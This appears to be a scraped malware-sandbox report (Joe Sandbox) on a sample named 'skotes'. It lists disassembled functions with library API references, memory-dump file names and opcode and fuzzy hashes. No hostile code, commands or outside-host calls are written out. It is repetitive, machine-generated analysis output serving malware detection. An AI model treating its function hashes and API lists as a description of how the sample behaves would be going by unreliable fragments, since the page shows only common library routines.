Function 007CE7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 007CE7D7

Part of subcall function 007CE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 007CE577
Part of subcall function 007CE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 007CE599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 007CE854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 007CE860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 007CE86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 007CE879
Concurrency::location::_Assign.LIBCMT ref: 007CE8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 007CE8B5

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: 7d944192076638a658b2784bc713ffa535b5ea16b605332b7b793ff56440873a
Instruction ID: fdef9cbb90f798cee360fa3be3dd5bfc70f097f8c8e81fc19eb9f3bf986d9b9d
Opcode Fuzzy Hash: 7d944192076638a658b2784bc713ffa535b5ea16b605332b7b793ff56440873a
Instruction Fuzzy Hash: A241FA75A00205DFCB05DF64C495BADB7B5FF48310F1480ADDD459B382DB38A941CBA1

Function 007B6E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 007B6ED1
std::_Rethrow_future_exception.LIBCPMT ref: 007B6F22
std::_Rethrow_future_exception.LIBCPMT ref: 007B6F32
__Mtx_unlock.LIBCPMT ref: 007B6FD5
__Mtx_unlock.LIBCPMT ref: 007B70DB
__Mtx_unlock.LIBCPMT ref: 007B7116

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 26a9330f76eca95185b93d41a832b135cf2297d925df0b7b86a9d40e0d4bc0dc
Instruction ID: 0b20fdf2bd80efc8fbf77df37fe1d4952b04a3a115c7ff3d86a772f8ee210c11
Opcode Fuzzy Hash: 26a9330f76eca95185b93d41a832b135cf2297d925df0b7b86a9d40e0d4bc0dc
Instruction Fuzzy Hash: F8C1F171904308DFDF25DFA4C849BEABBF4AF85310F00852EE91697691EB79A904CB61

Function 007C44DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 007C4538
ListArray.LIBCONCRT ref: 007C456C
Hash.LIBCMT ref: 007C45D5
Hash.LIBCMT ref: 007C45E5

Part of subcall function 007C9C41: std::bad_exception::bad_exception.LIBCMT ref: 007C9C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 007C474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 007C47A4

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: 36a2840a02a5e079e1ce5c310b272b10bc43aaee0da3d38d0545b7f923845bdf
Instruction ID: 47cddccbe0be69d91b3a1bf97337b341192eea5180f686a12e35d5e94b32b0ee
Opcode Fuzzy Hash: 36a2840a02a5e079e1ce5c310b272b10bc43aaee0da3d38d0545b7f923845bdf
Instruction Fuzzy Hash: 34814FB0A11B52FBD718DF74C859BD9FBA8BF09704F10421EE52897281DBB8A524CBD1

Function 007BECE6 Relevance: 9.1, APIs: 6, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 007BECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 007BED17

Part of subcall function 007BF3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 007BF3FA

__alloca_probe_16.LIBCMT ref: 007BED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 007BED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 007BEDC6
__freea.LIBCMT ref: 007BEDEC

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16__freea
String ID:
API String ID: 1319684358-0
Opcode ID: fc724c4c6b8902013b4d7885fa14c7ed507881ece4c6903c13ff93aacd2ca99e
Instruction ID: 12753f7c411b4f5a1362f525042e94c0aa5f3e7751587070f8ba1b3a0f03c69f
Opcode Fuzzy Hash: fc724c4c6b8902013b4d7885fa14c7ed507881ece4c6903c13ff93aacd2ca99e
Instruction Fuzzy Hash: 14317A71B00215CBCB15DFA8C8456EEB7B4EF09310B64406EE845E7391DBB8AE02CBA1

Function 007DCBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 007DCC66

Strings

v}, xrefs: 007DCBE1

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
